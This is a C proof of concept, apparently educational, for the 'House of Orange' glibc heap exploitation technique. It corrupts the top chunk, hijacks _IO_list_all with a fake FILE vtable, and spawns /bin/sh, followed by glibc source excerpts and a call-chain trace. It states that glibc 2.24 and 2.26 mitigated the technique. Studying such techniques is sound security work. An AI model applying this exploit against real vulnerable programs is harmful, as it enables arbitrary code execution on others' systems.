House of Orange

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    // Allocate a chunk
    p1 = malloc(0x400-16);

    // Corrupt the top chunk size
    // The top chunk size must be page aligned and PREV_INUSE must be set
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    // Allocate a chunk larger than the corrupted top chunk size
    // This forces sysmalloc and frees the old top chunk
    p2 = malloc(0x1000);

    // Calculate _IO_list_all address (from heap leak + known offset)
    io_list_all = top[2] + 0x9a8;

    // Corrupt the old top chunk's bk pointer
    // When malloc tries to sort the chunk, it will overwrite _IO_list_all
    top[3] = io_list_all - 0x10;

    // Write /bin/sh at the start of our fake FILE structure
    memcpy( ( char *) top, "/bin/sh\x00", 8);

    // Set the size to 0x61 so it goes to smallbin[4]
    top[1] = 0x61;

    // Set up the fake FILE structure
    FILE *fp = (FILE *) top;

    // Set mode to 0: fp->_mode <= 0
    fp->_mode = 0;

    // Set write_base and write_ptr: fp->_IO_write_ptr > fp->_IO_write_base
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;

    // Set jump table pointer and _IO_OVERFLOW entry
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;

    // Trigger the exploit
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

// Simplified from sysmalloc() in malloc.c
if (old_top != 0 && old_size != 0) {
    // Old top can't be merged with new memory
    _int_free(av, old_top, 1);
}

// Simplified from malloc.c
bck = victim->bk;
fwd = bck->fd;
// This writes main_arena address:
bck->fd = fwd;  // *(_IO_list_all - 0x10 + 0x10) = main_arena

// From _IO_flush_all_lockp in libio/genops.c
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
     || (fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
    && _IO_OVERFLOW(fp, EOF) == EOF)
    result = EOF;

malloc(10)
  → sorts unsorted bin into smallbin[4]
  → finds size mismatch (0x61 in field but main_arena size is larger)
  → calls malloc_printerr()
  → calls abort()
  → calls _IO_flush_all_lockp()
  → iterates _IO_list_all (now points to main_arena)
  → main_arena + 0x68 is smallbin[4] (our fake FILE)
  → calls _IO_OVERFLOW(fake_file, EOF)
  → calls winner("/bin/sh")
  → system("/bin/sh")

// From libio/vtables.c
if (__vtable_check_debug && !_IO_vtable_check(vtable))
    _IO_vtable_check_fail();

// Before: malloc_printerr called abort() which flushed FILE structures
// After: malloc_printerr directly terminates without FILE flush
void malloc_printerr(const char *str) {
    __libc_message(do_abort, "%s\n", str);
}